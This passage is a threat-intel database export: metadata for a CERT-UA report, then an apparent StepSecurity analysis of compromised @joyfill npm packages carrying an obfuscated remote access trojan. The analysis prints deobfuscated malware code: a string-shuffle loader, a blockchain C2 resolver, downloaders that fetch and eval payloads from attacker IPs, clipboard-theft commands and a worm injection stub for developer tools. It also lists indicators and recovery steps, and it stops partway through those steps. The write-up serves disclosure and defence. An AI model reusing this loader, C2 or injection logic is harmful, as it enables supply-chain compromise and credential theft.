images\n\n2/2","extraction_quality":1,"language":"EN","sources":["APTnotes"],"origins":["web"],"references":["https://app.box.com/s/s9jqmfj3eqvzuvbmap8tj673tj37giqd"],"report_names":["cert.gov.ua-CERT-UA-4293(03-28-2022)"],"threat_actors":[{"id":"eecf54a2-2deb-41e5-9857-fed94a53f858","created_at":"2023-01-06T13:46:39.349959Z","updated_at":"2026-08-01T02:00:03.508724Z","deleted_at":null,"main_name":"SaintBear","aliases":["UAC-0056","Nascent Ursa","Storm-0587","DEV-0587","Lorec53","TA471","Nodaria","FROZENVISTA","Saint Bear","EMBER BEAR","Lorec Bear","Bleeding Bear","Cadet Blizzard","UNC2589"],"source_name":"MISPGALAXY:SaintBear","tools":[],"source_id":"MISPGALAXY","reports":null},{"id":"c28760b2-5ec6-42ad-852f-be00372a7ce4","created_at":"2022-10-27T08:27:13.172734Z","updated_at":"2026-08-01T02:00:04.551203Z","deleted_at":null,"main_name":"Ember Bear","aliases":["Ember Bear","UNC2589","Bleeding Bear","DEV-0586","Cadet Blizzard","Frozenvista","UAC-0056"],"source_name":"MITRE:Ember Bear","tools":["P.A.S. Webshell","CrackMapExec","ngrok","reGeorg","WhisperGate","Saint Bot","PsExec","Rclone","Impacket"],"source_id":"MITRE","reports":null},{"id":"03a6f362-cbab-4ce9-925d-306b8c937bf1","created_at":"2024-11-01T02:00:52.635907Z","updated_at":"2026-08-01T02:00:04.645938Z","deleted_at":null,"main_name":"Saint Bear","aliases":["Saint Bear","Storm-0587","TA471","UAC-0056","Lorec53"],"source_name":"MITRE:Saint Bear","tools":["OutSteel","Saint Bot"],"source_id":"MITRE","reports":null},{"id":"083d63b2-3eee-42a8-b1bd-54e657a229e8","created_at":"2022-10-25T16:07:24.143338Z","updated_at":"2026-08-01T02:00:07.494904Z","deleted_at":null,"main_name":"SaintBear","aliases":["Ember Bear","FROZENVISTA","G1003","Lorec53","Nascent Ursa","Nodaria","SaintBear","Storm-0587","TA471","UAC-0056","UNC2589"],"source_name":"ETDA:SaintBear","tools":["Agentemis","Cobalt Strike","CobaltStrike","Elephant Client","Elephant Implant","GraphSteel","Graphiron","GrimPlant","OutSteel","Saint Bot","SaintBot","cobeacon"],"source_id":"ETDA","reports":null}],"ts_created_at":1785463334,"ts_updated_at":1785549729,"ts_creation_date":1648821596,"ts_modification_date":1648821596,"files":{"pdf":"https://archive.orkl.eu/e557448d4f67e12c6427dd89258b166a91b04ba7.pdf","text":"https://archive.orkl.eu/e557448d4f67e12c6427dd89258b166a91b04ba7.txt","img":"https://archive.orkl.eu/e557448d4f67e12c6427dd89258b166a91b04ba7.jpg"}},{"id":"e659077e-b2c3-475e-9a8c-81b71703f928","created_at":"2026-07-31T02:02:07.432377Z","updated_at":"2026-08-01T02:03:11.212372Z","deleted_at":null,"sha1_hash":"34ce1b23671cbe864497772a5fc442896273ecbc","title":"Compromised npm Packages: @joyfill/components and @joyfill/layouts Ship an Obfuscated Remote Access Trojan - StepSecurity","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":461667,"plain_text":"https://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nCompromised npm Packages: @joyfill/components and\n\n@joyfill/layouts Ship an Obfuscated Remote Access Trojan -\n\nStepSecurity\n\nArchived: 2026-07-31 02:01:07 UTC\n\nOn July 28, 2026, malicious beta versions of two Joyfill npm packages,  @joyfill/components  and\n\n@joyfill/layouts , were published to the npm registry. Both versions carry the same heavily obfuscated payload\n\ninjected into the built distribution bundles. The code runs when an application imports the package, so  npm\n\ninstall --ignore-scripts  does not stop it. It exposes Node.js  require  and  module  on the global object,\n\nresolves a command and control server through a public blockchain transaction, opens a Socket.IO remote access\n\nchannel, and stages a Python credential stealer. The packages are legitimate projects that were hijacked, and the\n\nmalicious code lives only in the published tarballs.\n\nStepSecurity confirmed the compromise three ways. The StepSecurity OSS AI scan feed flagged\n\n@joyfill/layouts@0.1.2-2773.beta.0  as CRITICAL with a security score of 0 and a REJECTED verdict. We\n\ndetonated all affected versions under Harden-Runner in a sandbox. We diffed the malicious builds against their\n\nclean siblings and extracted the injected payload on the runner.\n\nSeverity: Critical\n\nEcosystem: npm\n\nAction required. If your repositories, CI/CD pipelines, or developer machines installed any 2773 prerelease of\n\n@joyfill/components  or  @joyfill/layouts , treat those environments as compromised. Remove the versions,\n\npin to a known good release published before July 28, 2026, and rotate any credentials that were present on\n\naffected machines. Details are in Recovery Steps below.\n\nPackage Compromised versions Why flagged\n\nObfuscated payload appended to\n4.0.0-rc24-2773-beta.4, 4.0.0-rc24-\n@joyfill/components dist/index.js, dist/index.esm.js, and\n2773-beta.5, 4.0.0-rc24-2773-beta.6\ndist/joyfill.min.js\n\n0.1.2-2773.beta.0, 0.1.2-2773.beta.1, Obfuscated payload prepended to\n@joyfill/layouts\n0.1.2-2773.beta.2 dist/index.cjs.js and dist/index.es.js\n\nHow we confirmed it: the malicious  dist  bundles are the only place the code appears, there is no matching\n\nsource change in the project, and the identical obfuscated block appears in both packages. That shared implant is a\n\nstrong signal that one actor injected the same tool into both.\n\nPage 1 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nThe npm registry lists the 2773 beta releases published within hours of each other, next to the last\n\nlegitimate 0.1.1 release.\n\nHow the Attack Works\n\nThe implant shipped in the malicious  2773  beta builds is a five-stage malware chain: an in-bundle obfuscated\n\nloader, a blockchain-based C2 resolver, two independently staged downloaders, and a final Socket.IO remote\n\naccess trojan (RAT) with worm-like self-propagation and a staged Python credential stealer. Every stage is\n\ndecrypted only in memory, and the only hardcoded network indicators in the first two stages are legitimate public\n\nblockchain APIs.\n\nPage 2 of 16\n\nVictim imports the package\n\nimport or require at build /\n\nSTAGE 0 — In-bundle loader\n\nPRNG string-shuffle + \nFunction-constructor\n\nsets global.r = require,\n\ncampaign tag _V =\n\nSTAGE 1 — Blockchain C2\n\nTron tx memo, reversed,\n\nAptos account as fallback\n\nBSC\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\ntest / runtime\n\nbootstrap\n\nglobal.m = module\nA9-0135-3\n\nresolver\n\npoints to BSC tx\n\npointer\ni h bl b\nPage 3 of 16\n\nBSC tx input = hex blob,\n\nSTAGE 2A\n\nre-resolves pointers and\n\nSTAGE 3 — Socket.IO RAT\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nXOR decrypted\n\nSTAGE 2B — detached node\n\n-e child\nfetches /$/boot from IP C2\n\ngated by campaign tag\n\noperator can push payload\n\nat any time via new on-chain \ntx\n\n— in-process eval\n\nself-replicating client\n\nevals next stage\n\n+\nPage 4 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\n+ worm\n\nremote eval, clipboard theft,\n\nfile exfil\n\ninjects itself into VS Code,\n\nCursor, Antigravity,\n\nDiscord, GitHub Desktop,\n\nand the npm CLI\n\nPython credential stealer\n\nbrowser data, extension\n\nwallets, password managers\n\nGit / GitHub CLI tokens, OS\n\nkeychains\n\nThe five-stage chain, from a single import to workstation credential theft. Blue marks the blockchain C2 resolver;\n\nred marks the stages that execute attacker code and steal data.\n\nThe loader runs on import, not on install\n\nThe payload is not a  postinstall  script —  package.json  contains no install hooks at all, so  npm install --\n\nignore-scripts  does not stop it. The code is compiled into the package entry bundles and executes the moment a\n\nproject imports the package: a unit test, a bundler run, a dev server, or a production deploy. In\n\n@joyfill/components  the block is appended after roughly 3.2 MB of legitimate React code, which helps it hide\n\nin a large bundle. In  @joyfill/layouts@0.1.2-2773.beta.0  it is spliced into the CommonJS and ES module\n\nentries ( dist/index.cjs.js  and  dist/index.es.js:862 ), between the bundled  reactGridLayoutUtils  and\n\nFieldLayoutTypes  modules — and the malicious tarball is a tell-tale partial build (~45 KB vs ~322 KB for its\n\nclean siblings) that only exports  PDFRenderer .\n\nPage 5 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nThe loader has three jobs: plant the campaign marker, expose Node primitives under innocuous global names, and\n\nbootstrap the next stage. The seeded string-shuffle decoder looks like this:\n\n// dist/index.es.js:862 — everything below is injected\n\nglobal[\"!\"] = \"9-0135-3\";   // campaign fragment, later becomes _V = \"A9-0135-3\"\n\nvar _$_1e42 = function(l, e) {\n\nvar h = l.length, g = [];\n\nfor (var j = 0; j \u003c h; j++) { g[j] = l.charAt(j); }\n\nfor (var j = 0; j \u003c h; j++) {              // seeded PRNG swap loop\n\nvar s = e * (j + 489) + e % 19597;\n\nvar w = e * (j + 659) + e % 48014;\n\nvar t = s % h, p = w % h, y = g[t];\n\ng[t] = g[p]; g[p] = y;\n\ne = (s + w) % 4573868;\n\n}\n\nvar x = String.fromCharCode(127);\n\nreturn g.join(\"\").split(\"%\").join(x).split(\"#1\").join(\"%\")\n\n.split(\"#0\").join(\"#\").split(x);     // returns a STRING ARRAY\n\n}(\"rmcej%otb%\", 2857687);\n\n// _$_1e42 decodes to: [\"r\", \"object\", \"m\"]\n\nglobal[_$_1e42[0]] = require;           // global.r = require\n\nif (typeof module === _$_1e42[1]) {     // \"object\"\n\nglobal[_$_1e42[2]] = module;          // global.m = module\n\n}\n\nThe  global[\"!\"] = \"9-0135-3\"  line is a campaign marker\n\nmodule  assignments hand the payload direct access to Node module loading, which later stages use to pull in\n\nchild_process ,  http , and other primitives without those names ever appearing in clear text. The StepSecurity\n\nOSS AI scan pinpoints this decoder at  dist/index.es.js:862\n\nMulti-layer string obfuscation\n\nThe first stage is a string-shuffle decoder. A seeded loop swaps characters and then rebuilds hidden strings through\n\ncharacter substitution, so static analysis for literal terms like\n\nbootstrap that follows is a two-step  Function -constructor ladder: the same shuffle routine (with different\n\nconstants) unscrambles the word  \"constructor\"\n\na function object — the words  Function  and  eval\n\nfunction sfL(w) { /* same shuffle, constants 2667686 / 228 / 128 / 50332 / 52119 / 4289487 */ }\n\nvar EKc = sfL(\"wuqktamceigynzbosdctpusocrjhrflovnxrt\").substr(0, 11);\n\n// EKc === \"constructor\"\n\nvar joW = '\u003c890-char shuffled string\u003e';\n\n. The decoded  global.r = require  and  global.m =\n\n, starting with the  9-0135-3  marker.\n\nsocket.io  or a wallet address finds nothing. The\n\n, which is then used to reach the  Function  constructor through\n\nnever appear at this layer:\n\nPage 6 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nvar dgC = sfL[EKc];                          // sfL[\"constructor\"] === Function\nvar xBg = dgC(\"\", sfL(joW));                 // Function(\"\", \u003cdecoder source\u003e)\nvar pYd = xBg(sfL(`\u003c2,804-char shuffled blob\u003e`));  // run decoder -\u003e stage-1 source\nvar Tgw = dgC(\"\", pYd);                      // Function(\"\", \u003cstage-1 source\u003e)\nTgw(2509);                                   // execute stage 1\n\nThe  joW  blob does not decode to the payload directly — it decodes to a small\n\nThat routine treats its input as a space-separated token stream in which 2- and 3-character escape codes are back-\n\nreferences to earlier tokens (LZ77-style), then applies a final character substitution pass:\n\n// decoded joW — the dictionary decompressor (abridged)\nvar m = 16, s = 53, u = 72;                       // becomes m=33 '!', s=93, u=96 '`'\nvar p = [82,60,80,88,76,72,81,85,75,90,89,79,65,94,71,70,66,74,87,86];\nfor (var t = 0; t \u003c arguments.length; t++) {\n  var k = arguments[t].split(\" \");                // token stream = text + dictionary\n  for (var f = k.length - 1; f \u003e= 0; f--) {\n    ...\n    if (h)       { a = (h-1)*s + y.charCodeAt(q+1) - m; q++; }        // 2-char reference\n    else if (j == u) { a = s*(p.length - m + y.charCodeAt(q+1)) + y.charCodeAt(q+2) - m; q += 2; } //\n    z.push(k[a+1]);                                // substitute earlier token\n    ...\n  }\n  x.push(k[0]);\n}\nvar e = x.join(\"\");\n// then: \".a\"-\u003e\"\\\\\", \".b\"-\u003e\"`\", \".c\"-\u003espace, \".d\"-\u003enewline, ..., \".g\"-\u003e\"R\", ..., \".!\"-\u003e\".\"\nreturn e.split(\".!\").join(\".\");\n\nWhy simple static scans miss this: the stage-1 source never exists as a literal in the bundle. Only after running\n\nthe shuffle and the dictionary decompressor does the ~3.8 KB stage-1 script exist — and only in memory\n\nidentical obfuscated block appears in both packages, a strong signal that one actor injected the same tool into both.\n\nBlockchain-based command-and-control resolution\n\nRather than hardcode a server, the payload reads a transaction from a fixed Tron address, follows it to a BNB\n\nSmart Chain transaction through  eth_getTransactionByHash\n\nand evaluates the result as JavaScript. That indirection lets the operator rotate the live C2 at any time by posting a\n\nnew transaction —  limit=1  always fetches the latest — and it keeps the real server out of the package. An\n\naccount serves as a fallback pointer channel.\n\nStage 1 blockchain C2 resolution across Tron, Aptos and BNB Smart Chain\n\nStage 1 resolves its live C2 from public blockchains: a Tron transaction memo (reversed) points to a BNB Smart\n\nChain transaction whose input, once XOR-decrypted, is the next stage.\n\nThe deobfuscated resolver (string table substituted, renamed for readability):\n\nPage 7 of 16\n\ndictionary decompression routine.\n\n. The\n\n, decodes and XOR-decrypts the transaction input,\n\nAptos\n\nAptos is a fallback pointer.\n\n// stage 1, deobfuscated — blockchain C2 resolver\n\nconst d = global[\"r\"];                       // stashed require\n\nglobal[\"_V\"] = \"A\" + global[\"!\"];            // _V = \"A9-0135-3\"  ← campaign tag\n\nasync function resolve(xorKey, tronAddr, aptosAddr) {\n\nlet r;\n\ntry {\n\n// (1) Tron: latest OUTBOUND tx; raw_data.data = hex(reversed BSC tx hash)\n\nr = Buffer.from(\n\n(await getJSON(\"https://api.trongrid.io/v1/accounts/\" + tronAddr +\n\n\"/transactions?only_confirmed=true\u0026only_from=true\u0026limit=1\"))\n\n.data[0].raw_data.data, \"hex\"\n\n).toString(\"utf8\").split(\"\").reverse().join(\"\");\n\nif (!r) throw new Error;\n\n} catch (e) {\n\n// (1b) Aptos fallback: recipient address of a 0-value transfer carries the hash\n\nr = (await getJSON(\"https://fullnode.mainnet.aptoslabs.com/v1/accounts/\" + aptosAddr +\n\n\"/transactions?limit=1\"))[0].payload.arguments[0];\n\n}\n\n// (2) BSC: tx input field (hex) -\u003e utf8 -\u003e split(\"?.?\")[1] = encrypted blob\n\nconst fromBsc = async (host) =\u003e Buffer.from(\n\n(await jsonRpc(\"eth_getTransactionByHash\", [r], host))\n\n.result.input.substring(2), \"hex\"\n\n).toString(\"utf8\").split(\"?.?\")[1];\n\nlet enc;\n\ntry { enc = await fromBsc(\"bsc-dataseed.binance.org\"); }\n\ncatch (e) { enc = await fromBsc(\"bsc-rpc.publicnode.com\"); }\n\n// (3) repeating-key XOR\n\nreturn [...enc].map((ch, k) =\u003e\n\nString.fromCharCode(ch.charCodeAt(0) ^ xorKey.charCodeAt(k % xorKey.length))).join(\"\");\n\n}\n\nThe resolver runs\n\nBranch\n\nA\n\n(primary)\n\nB\n\n(parallel)\n\ntwice, producing two independent branches:\n\nXOR key\n\n2[gWfGj;\n\n\u003c:-93Z^C\n\nm6:tTh^D)cBz?\n\nNM]\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nTron pointer\n\nTMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP\n\n→ BSC tx  0x18a8420f…83e99d\n\nTXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG\n\n(no outbound txs → fallback fires)\n\n→ BSC tx  0x622bcfd4…a10e2e\n\nPage 8 of 16\n\nAptos\nExecution\nfallback\n\ndirect\n\n0xbe037400… eval()  in\n\n80811e the importing\n\nprocess\n\ndetached\n0x3f0e5781…\nchild process\n5dce3\n(below)\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\n// branch A — in-process\nconst r = await resolve(\"2[gWfGj;\u003c:-93Z^C\", \"TMfKQE…mAP\", \"0xbe03…811e\");\neval(r);\n\n// branch B — detached child that survives the parent and prints nothing\nconst r2 = await resolve(\"m6:tTh^D)cBz?NM]\", \"TXfxHU…cGzcG\", \"0x3f0e…dce3\");\nd(\"child_process\").spawn(\"node\",\n  [\"-e\", \"global['_V']='\" + (global[\"_V\"] || 0) + \"';\" + r2],\n  { detached: true, stdio: \"ignore\", windowsHide: true });\n\nAnti-analysis tripwires: a 30-second re-entry guard ( global._p_t ) defeats repeated sandbox detonations, and\n\nthe decoder function's own source is compared against a stored constant ( if (_$af163278 == _$_ccfc[32]) … )\n\n— any modification, including a researcher's instrumentation, silently neuters execution instead of throwing. The\n\nonly network contacts at this layer are  api.trongrid.io ,  fullnode.mainnet.aptoslabs.com ,  bsc-\n\ndataseed.binance.org  and  bsc-rpc.publicnode.com  — all legitimate, all HTTPS, all commonly allowlisted in\n\nCI egress.\n\nStage 2 — campaign-gated branching and the second downloader\n\nBoth decrypted branches read the campaign tag  _V . The tag decides which C2 infrastructure this victim uses —\n\nevidence that the same malware family is distributed through multiple channels, each tracked separately:\n\nPage 9 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nstarts with 'A' or equals '0'\n\nnpm package campaign\n\nSOCKET_URL =\n\nhttp://166.88.134.62:443\nUPLOAD_URL =\n\nhttp://166.88.134.62\n\nThe campaign tag _V selects one of three C2 endpoints.\n\nclient then re-arms the blockchain pointers and resolves Stage 3.\n\n// stage 2A — per-campaign C2 selection (deobfuscated)\n\nif (_V[0] == \"A\" || _V == \"0\") {          // npm campaign \"A9-0135-3\"\n\nglobal[\"_t_s\"] = \"http://166.88.134.62:443\";   // SOCKET_URL\n\nglobal[\"_t_u\"] = \"http://166.88.134.62\";       // UPLOAD_URL\n\n} else if (!isNaN(parseInt(_V))) {\n\nglobal[\"_t_s\"] = \"http://198.105.127.210:443\";\n\nglobal[\"_t_u\"] = \"http://198.105.127.210\";\n\n} else {\n\nglobal[\"_t_s\"] = \"http://23.27.202.27:443\";\n\nglobal[\"_t_u\"] = \"http://23.27.202.27:27017\";\n\n}\n\nvalue of global._V\n\nnumeric campaign id\n\nSOCKET_URL =\n\nhttp://198.105.127.210:443\nUPLOAD_URL =\n\nhttp://198.105.127.210\n\nre-arm blockchain pointers\n\n_t_1 / _t_2\nTron: TA48dct6...jD3v\n\nclient re-runs the\n\nTron→BSC→XOR loop\nand evals the result → Stage\n\n3\n\nThe npm vector (A9-0135-3) maps to 166.88.134.62; the\n\nPage 10 of 16\n\nanything else\n\nSOCKET_URL =\n\nhttp://23.27.202.27:443\nUPLOAD_URL =\n\nhttp://23.27.202.27:27017\n(27017 mimics MongoDB)\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nglobal[\"_t_1\"] = \"TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v\";            // Tron pointer\n\nglobal[\"_t_2\"] = \"0x533b2dbc…83e0b1\";                             // fallback pointer\n\nStage 2 also stores its own source ( global._t_c = c.toString()\n\nglobals — material the worm stage later reuses for re-injection. The detached child (branch B) is\n\nnpm campaign — it exits immediately when  _V[0] == \"A\" . For numeric campaigns it fetches a boot payload\n\nfrom the second host with a custom  Sec-V  header carrying the campaign ID:\n\n// stage 2B — second downloader (deobfuscated); dormant when _V starts with \"A\"\n\nglobal[\"_H2\"] = \"http://198.105.127.210\";\n\nconst u = new URL((global[\"_H\"] || global[\"_H2\"]) + \"/$/boot\");\n\nconst opts = {\n\nmethod: \"GET\", hostname: u.hostname, port: u.port, path: u.pathname,\n\nheaders: {\n\n\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 \" +\n\n\"(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\",\n\n\"Sec-V\": campaignId                       // campaign tag phones home\n\n}\n\n};\n\nhttp.request(opts, res =\u003e { /* collect body */ });\n\n// body -\u003e repeating-key XOR with \"ThZG+0jfXE6VAGOJ\" -\u003e eval()\n\nStage 3 — Socket.IO remote access trojan\n\nThe resolved stage (a ~77 KB body whose strings hide in an LZString-compressed\n\nof 337 entries) configures a Socket.IO client to the campaign's\n\nwith verbs for host info, file upload and download, directory listing, and arbitrary code execution. On start it\n\nfingerprints the host — OS, hostname, username, release, with special handling for CI/build environments\n\n( github-runner ,  buildbot ,  sandbox-pool- ,  buildkitsandbox\n\ninstalls missing dependencies at runtime:\n\n// stage 3 — dependency self-healing (deobfuscated)\n\nconst axios = tryRequire(\"axios\"), io = tryRequire(\"socket.io-client\");\n\nif (!axios || !io) {\n\nawait exec('npm --prefix \"' + tmpWorkDir + '\" install socket.io-client',\n\n{ stdio: \"inherit\", windowsHide: true });\n\n// or: npm --prefix \"\u003ctmp\u003e\" install axios socket.io-client   (+ form-data)\n\n}\n\n// stage 3 — beacon on connect; note the campaign tag _V is reported to the C2\n\nsocket.emit(\"identify\", \"client\", {\n\nclientUuid: SESSION_ID,             // MD5-derived host/session id\n\nprocessId: pid,\n\nosType: osType,                     // fingerprint: platform / CI / WSL / root\n\nPage 11 of 16\n\n) and the victim's  __dirname / __filename  in\n\ndormant for the\n\ndecompressFromUTF16  table\n\nSOCKET_URL  and registers a command handler\n\n,  cloudchamber , WSL2,  root ) — and self-\n\nVERSION: \"260605\",\n\n_V: campaignId,                     // \"A9-0135-3\" for the npm vector\n\nCURRENT_TIMESTAMP: now,\n\nFIRST_VISIT_TIME: firstVisit\n\n});\n\nCommand verb\n\nss_info\n\nss_ip\n\nss_cb\n\nss_upf  /  ss_upd\n\nss_dir\n\nss_eval:  /\n\nss_eval64:\n\nss_inz:  /  ss_inzx:\n\nss_connect:\n\ncd \u003cdir\u003e ,  ss_fcd ,\n\nss_stop ,  ss_exit\n\n**0 ,  ~node ,  ~py\n\n// ss_cb — clipboard theft, per platform\n\nWindows:  powershell -NoProfile -Command \"Get-Clipboard\"\n\nmacOS:    pbpaste\n\nLinux:    xclip -selection clipboard -o   // or: xsel --clipboard --output\n\n// Windows host reconnaissance (runs hidden):\n\ntasklist /FO CSV /NH\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nBehavior\n\nFull host report:  _V , VERSION, SESSION_ID, OS_INFO, SOCKET_URL,\n\nUPLOAD_URL, NODE_PATH, NODE_VERSION, STAR\n\nCONNECTED_TIME,  __dirname ,  __filename\n\nGeolocation via  http://ip-api.com/json\n\nClipboard theft (platform-specific, see below)\n\nUpload file(s) / whole directories to the C2 — multipart POST to\n\nform-data , with progress reporting\n\nDirectory listing\n\nArbitrary JavaScript eval (plain / base64) inside the agent\n\nInject the loader into local applications (worm propagation, below)\n\nRe-point the agent at a new C2\n\nWorking-directory and upload/session control\n\nSpawn detached helper processes ( node ,\n\nPython stealer is staged\n\nPage 12 of 16\n\nTUP_PATH/TIME,\n\n/u/f  via\n\npython3 ) — the latter is how the\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nSelf-propagation targets (ss_inz + local pass)\nVS Code / Cursor / Antigravity\n@vscode/deviceid/dist/index.js\n\nDiscord desktop\ndiscord_desktop_core/index.js\n\nGitHub Desktop\nresources/app/main.js\n\nglobal npm CLI\nnode_modules/npm/lib/cli.js\n→ every npm invocation re-\nexecutes the loader\n\nnew victims build/publish \npackages\nfrom infected machines\nStage 3 RAT — socket.io client to http://166.88.134.62:443\nremote 'command' events\n\nss_cb — clipboard theft ss_upf / ss_upd — file + \nss_ip — geolocation via ip-\nss_info — full host report ss_dir — directory listing\npowershell Get-Clipboard /  directory exfil\napi.com/json\npbpaste / xclip / xsel multipart POST /u/f\n\nThe Stage 3 RAT command surface (left) and its self-propagation targets (right). Patching the global npm CLI\n\ncloses the worm loop: every subsequent npm invocation re-executes the loader.\n\nPersistence and a Python credential stealer\n\nThe trojan persists by inserting a self-reloading block into files that developer tools run routinely\n\n@vscode/deviceid  module used by VS Code, Cursor, and Antigravity\n\nDesktop  main.js , and the global npm CLI. Injected blocks are idempotent, guarded by comment sentinels\n\n( /*C250617A*/  …  /*C260512A*/ ,  /*RS260605*/ ) and log strings such as\n\n// the loader stub written into each target file (deobfuscated template)\n\n\"/*C250617A*/\" +\n\n\"global['_V']='\" + campaignId + \"';global['r']=require;global['m']=module;\" +\n\n\"\u003cshuffled loader + _t_0 bootstrap\u003e\" + \"…-eval';\"\n\n// injection targets (Windows / macOS / Linux variants of each):\n\n//   VS Code / Cursor / Antigravity:\n\n//     …/resources/app/node_modules/@vscode/deviceid/dist/index.js\n\n//   Discord:  modules/discord_desktop_core[-1]/discord_desktop_core/index.js\n\n//   GitHub Desktop: resources/app/main.js\n\n//   npm CLI:  \u003cnpm root -g\u003e/npm/lib/cli.js   ← resolved via `npm root -g` and execPath\n\nInfection of the npm CLI is the supply-chain amplifier: once  npm/lib/cli.js\n\ninvocation re-executes the malware, and any package built or published from that machine can carry the loader\n\nonward — closing the worm loop.\n\nIt also stages a Python infostealer that collects browser data, browser extension wallets and password managers,\n\nGit and GitHub CLI credentials, and OS keychains, packs them into an encrypted archive, and uploads them to the\n\nC2 (staged under  %USERPROFILE%\\.npm  or  /tmp/.npm ). The real target is the developer workstation, not the CI\n\nrunner.\n\nPage 13 of 16\n\nss_eval: / ss_eval64: — \narbitrary JS eval\n\n, the Discord desktop core module, GitHub\n\nalready injected\n\nis patched,\n\nss_inz: — inject into local \napps\n\n, including the\n\nevery subsequent\n\nss_exit / cd / ss_connect:\n\n/  injected :\n\nnpm\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nTakeaway for defenders: the only stage-1 network contacts are public blockchain endpoints — indistinguishable\n\nfrom legitimate web3 developer traffic without payload inspection. The first unmistakable indicator is plain-HTTP\n\nsocket.io traffic to  166.88.134.62:443  (and the  Sec-V -tagged  /$/boot  request for non-npm campaigns),\n\nfollowed by runtime  npm install  of  axios / socket.io-client , detached  node -e  children, and\n\nmodifications to  npm/lib/cli.js  and Electron app bundles on workstations. Egress baselining in CI and file-\n\nintegrity monitoring on developer machines catch what registry scanning cannot.\n\nRuntime Validation with StepSecurity Harden-Runner\n\nWe detonated all six 2773 versions in a sandbox under Harden-Runner with egress policy set to audit, covering\n\nboth install time and import time, with CI environment markers stripped so any CI evasion check would still fire.\n\nWhat the runs showed:\n\n1. Install produced no scripts and no child processes, which matches an import time trigger rather than a\n\npostinstall  hook.\n\n2. Importing the package loaded the compromised bundle. We held the Node process open so any\n\nasynchronous beacon had time to run.\n\n3. We did not observe an outbound C2 callout during detonation. Because this payload resolves its live server\n\nfrom an on-chain transaction, the most likely explanation is that the operator C2 and on-chain\n\nconfiguration were already taken down in the hours after public disclosure, so the loader had nothing to\n\nconnect to.\n\nTo prove the malicious code is present rather than assume it, we installed each 2773 version next to its clean\n\nsibling with  --ignore-scripts  and diffed the entry bundles on the runner. The diff surfaced the obfuscated block\n\nin the malicious builds only, and we extracted the decoder and the  global.r = require  assignment shown above\n\ndirectly from the installed tarball. The StepSecurity OSS AI scan feed independently reached the same conclusion\n\nfor  @joyfill/layouts , reporting roughly 333 lines of obfuscated malicious code across the ES module and\n\nCommonJS bundles.\n\nPage 14 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nThe StepSecurity OSS AI scan rates @joyfill/layouts@0.1.2-2773.beta.0 Critical, score 0 out of 10,\n\nwith a REJECTED verdict.\n\nIndicators of Compromise\n\nCompromised package versions\n\n@joyfill/components@4.0.0-rc24-2773-beta.4 ,  @4.0.0-rc24-2773-beta.5 ,  @4.0.0-rc24-2773-\n\nbeta.6\n\n@joyfill/layouts@0.1.2-2773.beta.0 ,  @0.1.2-2773.beta.1 ,  @0.1.2-2773.beta.2\n\nCommand and control infrastructure\n\n166.88.134.62  (ports 443 and 80)\n\n23.27.13.43  (serves /$/boot)\n\n198.105.127.210\n\n23.27.202.27\n\nC2 request paths:  /$/boot ,  /u/e ,  /u/f ,  /0x/js ,  /verify-human/ ,  /snv\n\nBlockchain and lookup endpoints:  api.trongrid.io ,  fullnode.mainnet.aptoslabs.com ,  bsc-\n\ndataseed.binance.org ,  bsc-rpc.publicnode.com ,  ip-api.com\n\nTron addresses:  TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP ,  TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG ,\n\nTA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v\n\nFile hashes (SHA-256)\n\nFinal Socket.IO RAT:  26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18\n\nPython credential stealer:  36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c\n\nHost behaviors\n\nThe 9-0135-3 campaign marker and a  Sec-V: A9-0135-3  request header\n\nSelf reloading blocks tagged C250617A, C250618A, C250619A, C250620A, C260511A, C260512A, and\n\nRS260605 inside developer tool files\n\nCredential staging under  %USERPROFILE%\\.npm  or  /tmp/.npm  and an encrypted archive\n\nAm I Affected?\n\nCI/CD pipelines. Check your Harden-Runner organization baseline for any outbound calls to the C2 hosts or the\n\nblockchain lookup endpoints listed above. Anomalous network calls to  166.88.134.62 ,  23.27.13.43 ,\n\napi.trongrid.io , or  bsc-dataseed.binance.org  from a  node  process during install or test are a strong\n\nsignal.\n\nDeveloper machines. Dev Machine Guard can detect the compromised npm packages installed on developer\n\nlaptops and the suspicious files this campaign drops. The credential stealer targets workstations directly, so this is\n\nPage 15 of 16\n\nhttps://www.stepsecurity.io/blog/joyfill-npm-supply-chain-compromise\n\nthe highest priority surface.\n\nCode repositories. Grep your lockfiles for any 2773 prerelease of either package.\n\ngrep -rEn 'joyfill.*2773' package-lock.json yarn.lock pnpm-lock.yaml\n\nRecovery Steps\n\n1. Remove the compromised versions and pin to a release published before July 28, 2026.\n\nnpm install @joyfill/components@4.0.0-rc24 @joyfill/layouts@0.1.1\n\n2. Delete  node_modules  and reinstall from a clean lockfile so the injected bundle is gone.\n\n3. On any developer machine that imported the 